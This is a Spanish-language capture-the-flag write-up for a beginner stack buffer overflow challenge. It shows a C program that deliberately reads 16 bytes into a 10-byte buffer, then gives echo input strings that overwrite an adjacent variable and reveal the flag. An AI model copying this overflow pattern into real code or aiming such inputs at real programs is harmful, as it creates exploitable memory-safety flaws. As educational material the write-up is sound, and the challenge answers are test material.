Buffer Overflow 2 Writeup

Código

En este reto nos encontramos a un código muy similar al de `buffer_overflow1`:

```
#include <stdio.h>
#include <stdlib.h>

void win() {
        system("cat flag.txt");
}

int main() {
        setbuf(stdout, NULL);

        unsigned int value = 0;
        char answer[10];

        printf("Esta vez no te será tan fácil\n");
        fgets(answer, 0x10, stdin);

        if (value == 0) {
                printf("Lo estás intentando de verdad?\n");
        } else if (value != 0x00004142) {
                printf("Va mejorando la cosa: %08x\n", value);
        } else {
                printf("Yayyy!\n");
                win();
        }
}
```

Esta vez lee de la entrada estándar 0x10=16 bytes en vez de 12, y el valor que debemos escribir en la variable `value` es 0x4142.

Explotación

De forma análoga al reto anterior, y teniendo en cuenta little endian, podemos probar a introducir una cadena que tenga en la posición 11 un 0x42 (primer byte, el menos significativo), que se corresponde con el carácter 'B', y en la posición 12 un 0x41, que se corresponde con el carácter 'A':

```
$ ./buffer_overflow2
Esta vez no te será tan fácil
1234567890BA
Va mejorando la cosa: 000a4142
```

Vemos que no ha funcionado: se ha introducido también un byte `0a` . Mirando una tabla ascii, vemos que se corresponde con un salto de línea. En el man de `fgets` podemos leer:

```
If a newline is read, it is stored into the buffer.
```

En el reto `buffer_oveflow1` no teníamos este problema, porque después de sobreescribir el primer byte de `value` se escribía directamente un byte nulo, ya que sólo había 2 bytes de overflow. En este caso, como hay un mayor overflow, sí hay espacio para leer el salto de línea.

Por tanto, ya que `value` es un entero de 4 bytes, debemos añadir dos bytes nulos extra. `fgets` no tiene problema en leer bytes nulos, pero debemos saber introducirlos. Podemos hacer uso de la orden `echo` , que con la opción `-e` interpreta los `\0` como bytes nulos:

```
$ echo -e "1234567890BA\0\0" | ./buffer_overflow2
Esta vez no te será tan fácil
Yayyy!
ETSIIT_CTF{r04d_t0_h4ck3rrrrrr}
```

Resolución alternativa

Otra opción es directamente no introducir un salto de línea. De esta forma, se introduce automática un byte nulo después de “BA” para indicar el final de la cadena, ocupando el tercer byte de `value`. El cuarto byte se queda sin inicializar. En este caso afortunadamente su valor es 0, pero en principio no hay nada que nos lo asegure. Para no introducir el salto de línea, podemos hacer uso de `echo` con la opción `-n`:

```
$ echo -n "1234567890BA" | ./buffer_overflow2
Esta vez no te será tan fácil
Yayyy!
ETSIIT_CTF{r04d_t0_h4ck3rrrrrr}
```

Autor del reto

Nombre: David
Discord: Klecko#3813
Correo: davidmateos@correo.ugr.es